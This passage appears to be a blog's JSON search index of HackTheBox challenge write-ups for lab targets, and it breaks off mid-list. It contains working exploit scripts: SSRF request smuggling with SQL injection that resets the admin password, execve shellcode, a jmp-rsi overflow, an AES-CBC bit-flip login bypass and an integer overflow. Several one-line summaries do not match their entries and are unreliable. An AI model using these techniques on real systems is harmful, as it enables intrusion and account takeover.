get_base_url(): if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return f\u0026#34;http://{host}:{port}/api\u0026#34; def encode_special_chars(value): return value.replace(\u0026#34; \u0026#34;, \u0026#34;\\u0120\u0026#34;).replace(\u0026#34;\u0026#39;\u0026#34;, \u0026#34;\\u0127\u0026#34;).replace(\u0026#39;\u0026#34;\u0026#39;, \u0026#34;\\u0122\u0026#34;) BASE_URL = get_base_url() url = f\u0026#39;{BASE_URL}/api/weather\u0026#39; host = \u0026#34;127.0.0.1\u0026#34; username = \u0026#39;admin\u0026#39; password = \u0026#34;111\u0026#39;) ON CONFLICT (username) DO UPDATE SET password=\u0026#39;1234\u0026#39;;--\u0026#34; parsed_username = encode_special_chars(username) parsed_password = encode_special_chars(password) content_length = len(parsed_username) + len(parsed_password) + len(\u0026#34;username=\u0026amp;password=\u0026#34;) endpoint = ( f\u0026#34;{host}/\\u0120HTTP/1.1\\u010D\\u010A\u0026#34; f\u0026#34;HOST:\\u0120{host}\\u010D\\u010A\u0026#34; f\u0026#34;Content-Length:\\u01200\\u010D\\u010A\\u010D\\u010A\u0026#34; f\u0026#34;POST\\u0120/register\\u0120HTTP/1.1\\u010D\\u010A\u0026#34; f\u0026#34;HOST:\\u0120{host}\\u010D\\u010A\u0026#34; f\u0026#34;Content-Type:\\u0120application/x-www-form-urlencoded\\u010D\\u010A\u0026#34; f\u0026#34;Content-Length:\\u0120{content_length}\\u010D\\u010A\\u010D\\u010A\u0026#34; f\u0026#34;username={parsed_username}\u0026amp;password={parsed_password}\\u010D\\u010A\\u010D\\u010A\u0026#34; f\u0026#34;GET\\u0120\u0026#34; ) data = { \u0026#34;endpoint\u0026#34;: endpoint, \u0026#34;city\u0026#34;: \u0026#34;MyCity\u0026#34;, \u0026#34;country\u0026#34;: \u0026#34;MyCountryCode\u0026#34; } response = requests.post(url, json=data) print(\u0026#34;SSRF Exploit Response:\u0026#34;) print(response.text) login_url = f\u0026#39;{BASE_URL}/login\u0026#39; login_data = { \u0026#34;username\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;1234\u0026#34; } flag_response = requests.post(login_url, data=login_data) print(\u0026#34;Flag Retrieval Response:\u0026#34;) print(flag_response.text) Summary Weather App: use SSRF to reach the hidden service or file path and pull the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Weather-App-Challenge/","protected":null,"snippet":"Weather App: use SSRF to reach the hidden service or file path and pull the flag.","tags":["htb","web","ssrf"],"title":"HackTheBox Weather App Challenge"},{"categories":["machine"],"contents":"","date":"2024-11-24T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Alert/","protected":true,"snippet":"Enter the password to unlock this machine writeup.","tags":["htb","linux"],"title":"HackTheBox Alert Writeup"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/475\nDescription Your initialization sequence requires loading various programs to gain the necessary knowledge and skills for your journey. Your first task is to learn the ancient encodings used by the aliens in their communication.\nSource source.py\nfrom Crypto.Util.number import bytes_to_long from base64 import b64encode from secret import FLAG def encode(message): return hex(bytes_to_long(b64encode(message))) def main(): encoded_flag = encode(FLAG) with open(\u0026#34;output.txt\u0026#34;, \u0026#34;w\u0026#34;) as f: f.write(encoded_flag) if __name__ == \u0026#34;__main__\u0026#34;: main() output.txt\n0x53465243657a51784d56383361444e664d32356a4d475178626a6c664e44497a5832677a4d6a4e664e7a42664e5463306558303d Exploitation #!/usr/bin/python3 from Crypto.Util.number import long_to_bytes from base64 import b64decode def decode(encoded_hex): encoded_int = int(encoded_hex, 16) encoded_base64 = long_to_bytes(encoded_int) return b64decode(encoded_base64) def main(): with open(\u0026#34;output.txt\u0026#34;, \u0026#34;r\u0026#34;) as f: encoded_hex = f.read().strip() flag = decode(encoded_hex) print(f\u0026#34;Recovered FLAG: {flag.decode()}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Summary Ancient Encodings: model the crypto leak, recover the missing secret, and decrypt the flag.\n","date":"2024-11-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Ancient-Encodings-Challenge/","protected":null,"snippet":"Ancient Encodings: model the crypto leak, recover the missing secret, and decrypt the flag.","tags":["htb","crypto"],"title":"HackTheBox Ancient Encodings Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/691\nDescription You\u0026rsquo;ve cut a deal with the Brotherhood; if you can locate and retrieve their stolen weapons cache, they\u0026rsquo;ll provide you with the kerosene needed for your makeshift explosives for the underground tunnel excavation. The team has tracked the unique energy signature of the weapons to a small vault, currently being occupied by a gang of raiders who infiltrated the outpost by impersonating commonwealth traders. Using experimental stealth technology, you\u0026rsquo;ve slipped by the guards and arrive at the inner sanctum. Now, you must find a way past the highly sensitive heat-signature detection robot. Can you disable the security robot without setting off the alarm?\nInstructions for Using Ghidra Bridge For more details, refer to the Ghidra Bridge GitHub Repository.\nInstallation Steps: Install the Python Ghidra Bridge package using your package manager. For example, on Arch Linux with yay:\nyay -S python-ghidra-bridge Alternatively, compile it from source by cloning the repository and following the provided instructions.\nInstall the Ghidra Bridge server:\npython -m ghidra_bridge.install_server ~/ghidra_scripts Add the scripts to Ghidra\u0026rsquo;s Script Manager:\nOpen the Script Manager in Ghidra. Add the scripts from ~/ghidra_scripts. Enable the following scripts:\nghidra_bridge_start ghidra_bridge_shutdown Start the bridge in Ghidra:\nNavigate to Tools \u0026gt; Ghidra_Bridge \u0026gt; Run to initiate the server. Exploitation #!/usr/bin/python3 import ghidra_bridge def getSymbol(name): return next(getState().getCurrentProgram().getSymbolTable().getSymbols(name)) def getAddress(offset): return currentProgram.getAddressFactory().getDefaultAddressSpace().getAddress(offset) b = ghidra_bridge.GhidraBridge(namespace=globals()) print(\u0026#34;GhidraBridge -\u0026gt;\u0026#34; , getState().getCurrentAddress().getOffset()) start_addr = 0x10912d listing = getState().getCurrentProgram().getListing() fn_body = getState().getCurrentProgram().getFunctionManager().getFunctionContaining(getAddress(start_addr)).getBody() instructions = listing.getInstructions(fn_body, True) result = [\u0026#39;x\u0026#39; for _ in range(35)] state = {} print(\u0026#34;Extracting RSP Values\u0026#34;) for instruction in instructions: if \u0026#34;LEA\u0026#34; in str(instruction): state[str(instruction).split(\u0026#34;,\u0026#34;)[0].split(\u0026#34; \u0026#34;)[1]] = int(str(instruction).split(\u0026#34;[\u0026#34;)[1][:-1], 16) if \u0026#34;MOV qword ptr\u0026#34; in str(instruction): try: target = (int(str(instruction).split(\u0026#34;RSP + \u0026#34;)[1].split(\u0026#34;]\u0026#34;)[0], 16) - 16) // 8 reg = str(instruction).split(\u0026#34;,\u0026#34;)[1] result[target] = chr(int(str(getInstructionAt(getAddress(state[reg] + 1))).split(\u0026#34;,\u0026#34;)[1],16)) print(result[target].strip(), end=\u0026#39;\u0026#39;, flush=True) except Exception: print() exit(0) Summary Dont\u0026rsquo;t Panic: trace the binary, isolate the validation routine, and invert it to recover the flag.\n","date":"2024-11-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Dontt-Panic-Challenge/","protected":null,"snippet":"Dont't Panic: trace the binary, isolate the validation routine, and invert it to recover the flag.","tags":["htb","rev","ghidra","linux"],"title":"HackTheBox Dont't Panic Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/817\nDescription El Teteo, a mischievous ghostly djinni born with a party spirit. You have one chance to summon it and make your wish—but only if it’s in the mood to grant it.\nExploitation #!/usr/bin/python3 from pwn import * import warnings,os def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) warnings.filterwarnings(\u0026#39;ignore\u0026#39;) context.arch = \u0026#39;amd64\u0026#39; r = get_process() # https://shell-storm.org/shellcode/files/shellcode-806.html sc = b\u0026#34;\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05\u0026#34; r.sendlineafter(\u0026#39;\u0026gt;\u0026#39;, sc) sleep(1) r.sendline(\u0026#39;cat flag*\u0026#39;) print(f\u0026#39;Flag --\u0026gt; {r.recvline_contains(b\u0026#34;HTB\u0026#34;).strip().decode()}\u0026#39;) r.close() Summary El Teteo: build the shellcode path, control execution, and read the flag.\n","date":"2024-11-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-El-Teteo-Challenge/","protected":null,"snippet":"El Teteo: build the shellcode path, control execution, and read the flag.","tags":["htb","pwn","shellcode","linux"],"title":"HackTheBox El Teteo Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/777\nDescription We found a heavily modified module containing legacy hardware merged with corrupted components. We believe the legacy module can access the memory area where the secret key is stored and output it to its console. Unfortunately, the legacy IC we have is unable to reach that address due to a hardware bug.\nExploitation #!/usr/bin/python3 from pwn import args, remote, sys import os def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) ASSEMBLY = \u0026#34;\u0026#34;\u0026#34; code org $8000 ; main function ; jmp ($40ff) lda $40ff ldx $4100 sta $3000 stx $3001 jmp ($3000) ; reset vector org $fffc dw $8000 dw $ffff \u0026#34;\u0026#34;\u0026#34; def assembler(assembly): with open(\u0026#34;solver.a65\u0026#34;, \u0026#34;w\u0026#34;) as f: f.write(assembly) os.system(\u0026#34;./as65 -l -m -w -h0 solver.a65 -osolver.rom\u0026#34;) with open(\u0026#34;solver.rom\u0026#34;, \u0026#34;rb\u0026#34;) as f: bytecode = f.read().hex() return bytecode def toAscii(data): return data.decode().strip() def flash_rom(bytecode): r.sendlineafter(b\u0026#34;READY.\u0026#34;, b\u0026#34;FLASH \u0026#34; + bytecode.encode()) def run_cpu(steps): r.sendlineafter(b\u0026#34;READY.\u0026#34;, b\u0026#34;RUN \u0026#34; + str(steps).encode()) def print_console(): r.sendlineafter(b\u0026#34;READY.\u0026#34;, b\u0026#34;CONSOLE\u0026#34;) def get_flag(): r.recvuntil(b\u0026#34;\\x1b[94m\u0026#34;) first = toAscii(r.recvline()) second = toAscii(r.recvuntil(b\u0026#34;\\x1b[0m\u0026#34;)[1:-4]) return first + \u0026#34; \u0026#34; + second def parse_flag(flag): flag = \u0026#34;\u0026#34;.join([bytes.fromhex(byte).decode() for byte in flag.split(\u0026#34; \u0026#34;)]) return flag def pwn(): r.recvuntil(b\u0026#34;READY.\u0026#34;) bytecode = assembler(ASSEMBLY) flash_rom(bytecode) run_cpu(163) print_console() flag = get_flag() flag = parse_flag(flag) print(flag) if __name__ == \u0026#34;__main__\u0026#34;: r = get_process() pwn() Summary FF Jump Street: decode the captured signal, map the bitstream, and recover the flag.\n","date":"2024-11-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-FF-Jump-Street-Challenge/","protected":null,"snippet":"FF Jump Street: decode the captured signal, map the bitstream, and recover the flag.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox FF Jump Street Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/124\nDescription The Bank of the World is under attack. Hackers found a way in and locked the admins out. However, the netcat authentication by the intruders is not perfectly secure. Could you help the admins log in?\nSource app.py\n#!/usr/bin/python3 import socketserver import socket, os from Crypto.Cipher import AES from Crypto.Util.Padding import pad,unpad from Crypto.Random import get_random_bytes from binascii import unhexlify from secret import FLAG wlcm_msg =\u0026#39;########################################################################\\n\u0026#39;+\\ \u0026#39;# Welcome to the Bank of the World #\\n\u0026#39;+\\ \u0026#39;# All connections are monitored and recorded #\\n\u0026#39;+\\ \u0026#39;# Disconnect IMMEDIATELY if you are not an authorized user! #\\n\u0026#39;+\\ \u0026#39;########################################################################\\n\u0026#39; key = get_random_bytes(16) iv = get_random_bytes(16) def encrypt_data(data): padded = pad(data.encode(),16,style=\u0026#39;pkcs7\u0026#39;) cipher = AES.new(key, AES.MODE_CBC,iv) enc = cipher.encrypt(padded) return enc.hex() def decrypt_data(encryptedParams): cipher = AES.new(key, AES.MODE_CBC,iv) paddedParams = cipher.decrypt( unhexlify(encryptedParams)) print(paddedParams) if b\u0026#39;admin\u0026amp;password=g0ld3n_b0y\u0026#39; in unpad(paddedParams,16,style=\u0026#39;pkcs7\u0026#39;): return 1 else: return 0 def send_msg(s, msg): enc = msg.encode() s.send(enc) def main(s): send_msg(s, \u0026#39;username: \u0026#39;) user = s.recv(4096).decode().strip() send_msg(s, user +\u0026#34;\u0026#39;s password: \u0026#34; ) passwd = s.recv(4096).decode().strip() send_msg(s, wlcm_msg) msg = \u0026#39;logged_username=\u0026#39; + user +\u0026#39;\u0026amp;password=\u0026#39; + passwd try: assert(\u0026#39;admin\u0026amp;password=g0ld3n_b0y\u0026#39; not in msg) except AssertionError: send_msg(s, \u0026#39;You cannot login as an admin from an external IP.\\nYour activity has been logged. Goodbye!\\n\u0026#39;) raise msg = \u0026#39;logged_username=\u0026#39; + user +\u0026#39;\u0026amp;password=\u0026#39; + passwd send_msg(s, \u0026#34;Leaked ciphertext: \u0026#34; + encrypt_data(msg)+\u0026#39;\\n\u0026#39;) send_msg(s,\u0026#34;enter ciphertext: \u0026#34;) enc_msg = s.recv(4096).decode().strip() try: check = decrypt_data(enc_msg) except Exception as e: send_msg(s, str(e) + \u0026#39;\\n\u0026#39;) s.close() if check: send_msg(s, \u0026#39;Logged in successfully!\\nYour flag is: \u0026#39;+ FLAG) s.close() else: send_msg(s, \u0026#39;Please try again.\u0026#39;) s.close() class TaskHandler(socketserver.BaseRequestHandler): def handle(self): main(self.request) if __name__ == \u0026#39;__main__\u0026#39;: socketserver.ThreadingTCPServer.allow_reuse_address = True server = socketserver.ThreadingTCPServer((\u0026#39;0.0.0.0\u0026#39;, 1337), TaskHandler) server.serve_forever() Exploitation #!/usr/bin/env python3 from pwn import remote, sys def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) io = get_process() io.sendlineafter(b\u0026#39;username: \u0026#39;, b\u0026#39;bdmin\u0026#39;) io.sendlineafter(b\u0026#39;password: \u0026#39;, b\u0026#39;g0ld3n_b0y\u0026#39;) io.recvuntil(b\u0026#39;Leaked ciphertext: \u0026#39;) ct = bytearray.fromhex(io.recvline().decode()) ct[0] ^= ord(\u0026#39;b\u0026#39;) ^ ord(\u0026#39;a\u0026#39;) io.sendlineafter(b\u0026#39;enter ciphertext: \u0026#39;, ct.hex().encode()) io.recvline() io.success(io.recv().decode()) Summary Flippin Bank: reconstruct the generator state, derive the AES material, and decrypt the final ciphertext.\n","date":"2024-11-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Flippin-Bank-Challenge/","protected":null,"snippet":"Flippin Bank: reconstruct the generator state, derive the AES material, and decrypt the final ciphertext.","tags":["htb","crypto","aes","prng"],"title":"HackTheBox Flippin Bank Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/419\nDescription Quick, there's a new custom Pokemon in the bush called \u0026quot;The Custom Pokemon\u0026quot;. Can you find out what its weakness is and capture it?\nSource output.txt\np = 163924920994230253637901818188432016168244271739612329857589126113342762280179217681751572174802922903476854156324228497960403054780444742311082033470378692771947296079573091561798164949003989592245623978327019668789826246878280613414312438425787726549209707561194579292492350868953301012702750092281807657719 g = 97407673851268146184804267386115296213106535602908738837573109808033224187746927894605766365039669844761355888387043653015559933298433068597707383843814893442087063136640943475006105673619942401850890433169719970841218851182254280222787630139143746993351533776324254770080289574521452767936507196421481076841 h = 7771801879117000288817915415260102060832587957130098985489551063161695391373720317596178655146834967333192201720460001561670355858493084613455139466487717364432242890680666229302181326080340061384604634749443972114930849979067572441792867514664636574923631540074373758015873624100768698622048136552173788916 (c1, c2) = (83194887666722435308945316429939841668109985194860518882743309895332330525232854733374220834562004665371728589040849388337869965962272329974327341953512030547150987478914221697662859702721549751949905379177524490596978865458493461926865553151329446008396048857775620413257603550197735539508582063967332954541, 46980139827823872709797876525359718565495105542826335055296195898993549717497706297570900140303523646691120660896057591142474133027314700072754720423416473219145616105901315902667461002549138134613137623172629251106773324834864521095329972962212429468236356687505826351839310216384806147074454773818037349470) chal.py\nfrom Crypto.Util.number import bytes_to_long, getPrime import random FLAG = b\u0026#39;HTB{???????????????????????????????????????????????????}\u0026#39; def gen_params(): p = getPrime(1024) g = random.randint(2, p - 2) x = random.randint(2, p - 2) h = pow(g, x, p) return (p, g, h), x def encrypt(pubkey): p, g, h = pubkey m = bytes_to_long(FLAG) y = random.randint(2, p - 2) s = pow(h, y, p) return (g * y % p, m * s % p) def main(): pubkey, _ = gen_params() c1, c2 = encrypt(pubkey) with open(\u0026#39;out.txt\u0026#39;, \u0026#39;w\u0026#39;) as f: f.write( f\u0026#39;p = {pubkey[0]}\\ng = {pubkey[1]}\\nh = {pubkey[2]}\\n(c1, c2) = ({c1}, {c2})\\n\u0026#39; ) if __name__ == \u0026#34;__main__\u0026#34;: main() Exploitation #!/usr/bin/python3 from Crypto.Util.number import long_to_bytes, inverse p = 163924920994230253637901818188432016168244271739612329857589126113342762280179217681751572174802922903476854156324228497960403054780444742311082033470378692771947296079573091561798164949003989592245623978327019668789826246878280613414312438425787726549209707561194579292492350868953301012702750092281807657719 g = 97407673851268146184804267386115296213106535602908738837573109808033224187746927894605766365039669844761355888387043653015559933298433068597707383843814893442087063136640943475006105673619942401850890433169719970841218851182254280222787630139143746993351533776324254770080289574521452767936507196421481076841 h = 7771801879117000288817915415260102060832587957130098985489551063161695391373720317596178655146834967333192201720460001561670355858493084613455139466487717364432242890680666229302181326080340061384604634749443972114930849979067572441792867514664636574923631540074373758015873624100768698622048136552173788916 c1 = 83194887666722435308945316429939841668109985194860518882743309895332330525232854733374220834562004665371728589040849388337869965962272329974327341953512030547150987478914221697662859702721549751949905379177524490596978865458493461926865553151329446008396048857775620413257603550197735539508582063967332954541 c2 = 46980139827823872709797876525359718565495105542826335055296195898993549717497706297570900140303523646691120660896057591142474133027314700072754720423416473219145616105901315902667461002549138134613137623172629251106773324834864521095329972962212429468236356687505826351839310216384806147074454773818037349470 g_inv = inverse(g, p) y = (c1 * g_inv) % p s = pow(h, y, p) s_inv = inverse(s, p) m = (c2 * s_inv) % p flag = long_to_bytes(m) print(flag.decode()) Summary Gonna Lift Em All: reconstruct the PRNG state from the leak, replay it, and recover the flag.\n","date":"2024-11-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Gonna-Lift-Em-All-Challenge/","protected":null,"snippet":"Gonna Lift Em All: reconstruct the PRNG state from the leak, replay it, and recover the flag.","tags":["htb","crypto","prng"],"title":"HackTheBox Gonna Lift Em All Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/192\nDescription Even Mr. Miyagi cannot seem to beat this game. Flap your wings and show him the way!\nExploitation Running the Game To start the game, run it using Wine:\nwine HackyBird.exe Using scanmem for Exploitation Attach scanmem to the game\u0026rsquo;s process: sudo scanmem -p \u0026#34;$(pidof HackyBird.exe)\u0026#34; Search and modify in-game values: Begin by scanning the initial value, typically 0, and update as the game progresses. Example workflow: 0 # initial value 1 # after scoring 1 # wait for another state update to further narrow down results 2 # after the next scoring Narrow down results by searching for the updated value after each event (e.g., scoring). scanmem filters results by comparing values from the previous scan to the current state, focusing on changes between the last and current value within that time frame. Modify the memory value: Set the desired value, such as 999: set 999 Alternatively, set every second: set 999/3 If feeling lucky, modify all found values to speed up the process (may cause crashes): set 999 Summary Hacky Bird: inspect the game logic, control the relevant state, and recover the flag.\n","date":"2024-11-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Hacky-Bird-Challenge/","protected":null,"snippet":"Hacky Bird: inspect the game logic, control the relevant state, and recover the flag.","tags":["htb","gamepwn","memory"],"title":"HackTheBox Hacky Bird Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/818\nDescription How about a magic trick? Or a math trick? Beat me and I will give you an amazing reward!\nExploitation #!/usr/bin/env python3 from pwn import * import warnings import os import sys def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) def exploit_integer_overflow(): warnings.filterwarnings(\u0026#39;ignore\u0026#39;) context.arch = \u0026#39;amd64\u0026#39; context.log_level = \u0026#39;critical\u0026#39; try: r = get_process() sla = lambda x, y: r.sendlineafter(x, y) sla(\u0026#39;🥸 \u0026#39;, \u0026#39;1\u0026#39;) sla(\u0026#39;\u0026gt; \u0026#39;, \u0026#39;2\u0026#39;) sla(\u0026#39;\u0026gt; \u0026#39;, \u0026#39;1\u0026#39;) sla(\u0026#39;\u0026gt; \u0026#39;, \u0026#39;0\u0026#39;) n1 = \u0026#39;2147483648\u0026#39; n2 = \u0026#39;1\u0026#39; sla(\u0026#39;n1: \u0026#39;, n1) sla(\u0026#39;n2: \u0026#39;, n2) flag = r.recvline_contains(b\u0026#34;HTB\u0026#34;).strip().decode() print(f\u0026#39;Flag --\u0026gt; {flag}\u0026#39;) except Exception as e: print(f\u0026#34;Error during exploitation: {str(e)}\u0026#34;) if \u0026#39;r\u0026#39; in locals(): r.close() if __name__ == \u0026#34;__main__\u0026#34;: exploit_integer_overflow() Summary Mathematricks: build the exploit primitive, stabilize the payload, and use it to read the flag.\n","date":"2024-11-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Mathematricks-Challenge/","protected":null,"snippet":"Mathematricks: build the exploit primitive, stabilize the payload, and use it to read the flag.","tags":["htb","pwn","linux"],"title":"HackTheBox Mathematricks Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/821\nDescription Que onda! Welcome to the festival of Pwn! This is a small guide to help you continue your journey, follow the instructions in README.txt\nExploitation #!/usr/bin/python3 from pwn import * def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) p = get_process() p.sendline(b\u0026#39;flag\u0026#39;) response = p.recvall().decode(\u0026#39;utf-8\u0026#39;, errors=\u0026#39;ignore\u0026#39;) p.close() flag = re.search(r\u0026#39;HTB\\{.*?\\}\u0026#39;, response) if flag: print(flag.group(0)) else: print(\u0026#34;Flag not found\u0026#34;) Summary Que Onda: build the exploit primitive, stabilize the payload, and use it to read the flag.\n","date":"2024-11-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Que-Onda-Challenge/","protected":null,"snippet":"Que Onda: build the exploit primitive, stabilize the payload, and use it to read the flag.","tags":["htb","pwn","linux"],"title":"HackTheBox Que Onda Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/706\nDescription Nothing much changes from day to day. Famine, conflict, hatred - it\u0026rsquo;s all part and parcel of the lives we live now. We\u0026rsquo;ve grown used to the animosity that we experience every day, and that\u0026rsquo;s why it\u0026rsquo;s so nice to have a useful program that asks how I\u0026rsquo;m doing. It\u0026rsquo;s not the most talkative, though, but it\u0026rsquo;s the highest level of tech most of us will ever see\u0026hellip;\nExploitation #!/usr/bin/python3 from pwn import * def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) elf = context.binary = ELF(\u0026#39;./regularity\u0026#39;, checksec=False) p = get_process() JMP_RSI = next(elf.search(asm(\u0026#39;jmp rsi\u0026#39;))) payload = flat({ 0: asm(shellcraft.cat(\u0026#39;flag.txt\u0026#39;)), 256: JMP_RSI }) p.sendlineafter(b\u0026#39;days?\\n\u0026#39;, payload) response = p.recvall().decode(\u0026#39;utf-8\u0026#39;, errors=\u0026#39;ignore\u0026#39;).rstrip() print(response) p.close() Summary Regularity: build the exploit primitive, stabilize the payload, and use it to read the flag.\n","date":"2024-11-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Regularity-Challenge/","protected":null,"snippet":"Regularity: build the exploit primitive, stabilize the payload, and use it to read the flag.","tags":["htb","pwn","linux"],"title":"HackTheBox Regularity Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/618\nDescription I\u0026rsquo;ve been hard at work in my spell brewery for days, but I can\u0026rsquo;t crack the secret of the potion of eternal life. Can you uncover the recipe?\nExploitation #!/usr/bin/python3 ingredients = [ \u0026#34;Witch\u0026#39;s Eye\u0026#34;, \u0026#34;Bat Wing\u0026#34;, \u0026#34;Ghostly Essence\u0026#34;, \u0026#34;Toadstool Extract\u0026#34;, \u0026#34;Vampire Blood\u0026#34;, \u0026#34;Mandrake Root\u0026#34;, \u0026#34;Zombie Brain\u0026#34;, \u0026#34;Ghoul\u0026#39;s Breath\u0026#34;, \u0026#34;Spider Venom\u0026#34;, \u0026#34;Black Cat\u0026#39;s Whisker\u0026#34;, \u0026#34;Werewolf Fur\u0026#34;, \u0026#34;Banshee\u0026#39;s Wail\u0026#34;, \u0026#34;Spectral Ash\u0026#34;, \u0026#34;Pumpkin Spice\u0026#34;, \u0026#34;Goblin\u0026#39;s Earwax\u0026#34;, \u0026#34;Haunted Mist\u0026#34;, \u0026#34;Wraith\u0026#39;s Tear\u0026#34;, \u0026#34;Serpent Scale\u0026#34;, \u0026#34;Moonlit Fern\u0026#34;, \u0026#34;Cursed Skull\u0026#34;, \u0026#34;Raven Feather\u0026#34;, \u0026#34;Wolfsbane\u0026#34;, \u0026#34;Frankenstein\u0026#39;s Bolt\u0026#34;, \u0026#34;Wicked Ivy\u0026#34;, \u0026#34;Screaming Banshee Berry\u0026#34;, \u0026#34;Mummy\u0026#39;s Wrappings\u0026#34;, \u0026#34;Dragon\u0026#39;s Breath\u0026#34;, \u0026#34;Bubbling Cauldron Brew\u0026#34;, \u0026#34;Gorehound\u0026#39;s Howl\u0026#34;, \u0026#34;Wraithroot\u0026#34;, \u0026#34;Haunted Grave Moss\u0026#34;, \u0026#34;Ectoplasmic Slime\u0026#34;, \u0026#34;Voodoo Doll\u0026#39;s Stitch\u0026#34;, \u0026#34;Bramble Thorn\u0026#34;, \u0026#34;Hocus Pocus Powder\u0026#34;, \u0026#34;Cursed Clove\u0026#34;, \u0026#34;Wicked Witch\u0026#39;s Hair\u0026#34;, \u0026#34;Halloween Moon Dust\u0026#34;, \u0026#34;Bog Goblin Slime\u0026#34;, \u0026#34;Ghost Pepper\u0026#34;, \u0026#34;Phantom Firefly Wing\u0026#34;, \u0026#34;Gargoyle Stone\u0026#34;, \u0026#34;Zombie Toenail\u0026#34;, \u0026#34;Poltergeist Polyp\u0026#34;, \u0026#34;Spectral Goo\u0026#34;, \u0026#34;Salamander Scale\u0026#34;, \u0026#34;Cursed Candelabra Wax\u0026#34;, \u0026#34;Witch Hazel\u0026#34;, \u0026#34;Banshee\u0026#39;s Bane\u0026#34;, \u0026#34;Grim Reaper\u0026#39;s Scythe\u0026#34;, \u0026#34;Black Widow Venom\u0026#34;, \u0026#34;Moonlit Nightshade\u0026#34;, \u0026#34;Ghastly Gourd\u0026#34;, \u0026#34;Siren\u0026#39;s Song Seashell\u0026#34;, \u0026#34;Goblin Gold Dust\u0026#34;, \u0026#34;Spider Web Silk\u0026#34;, \u0026#34;Haunted Spirit Vine\u0026#34;, \u0026#34;Frog\u0026#39;s Tongue\u0026#34;, \u0026#34;Mystic Mandrake\u0026#34;, \u0026#34;Widow\u0026#39;s Peak Essence\u0026#34;, \u0026#34;Wicked Warlock\u0026#39;s Beard\u0026#34;, \u0026#34;Crypt Keeper\u0026#39;s Cryptonite\u0026#34;, \u0026#34;Bewitched Broomstick Bristle\u0026#34;, \u0026#34;Dragon\u0026#39;s Scale Shimmer\u0026#34;, \u0026#34;Vampire Bat Blood\u0026#34;, \u0026#34;Graveyard Grass\u0026#34;, \u0026#34;Halloween Harvest Pumpkin\u0026#34;, \u0026#34;Cursed Cobweb Cotton\u0026#34;, \u0026#34;Phantom Howler Fur\u0026#34;, \u0026#34;Wraithbone\u0026#34;, \u0026#34;Goblin\u0026#39;s Green Slime\u0026#34;, \u0026#34;Witch\u0026#39;s Brew Brew\u0026#34;, \u0026#34;Voodoo Doll Pin\u0026#34;, \u0026#34;Bramble Berry\u0026#34;, \u0026#34;Spooky Spellbook Page\u0026#34;, \u0026#34;Halloween Cauldron Steam\u0026#34;, \u0026#34;Spectral Spectacles\u0026#34;, \u0026#34;Salamander\u0026#39;s Tail\u0026#34;, \u0026#34;Cursed Crypt Key\u0026#34;, \u0026#34;Pumpkin Patch Spice\u0026#34;, \u0026#34;Haunted Hay Bale\u0026#34;, \u0026#34;Banshee\u0026#39;s Bellflower\u0026#34;, \u0026#34;Ghoulish Goblet\u0026#34;, \u0026#34;Frankenstein\u0026#39;s Lab Liquid\u0026#34;, \u0026#34;Zombie Zest Zest\u0026#34;, \u0026#34;Werewolf Whisker\u0026#34;, \u0026#34;Gargoyle Gaze\u0026#34;, \u0026#34;Black Cat\u0026#39;s Meow\u0026#34;, 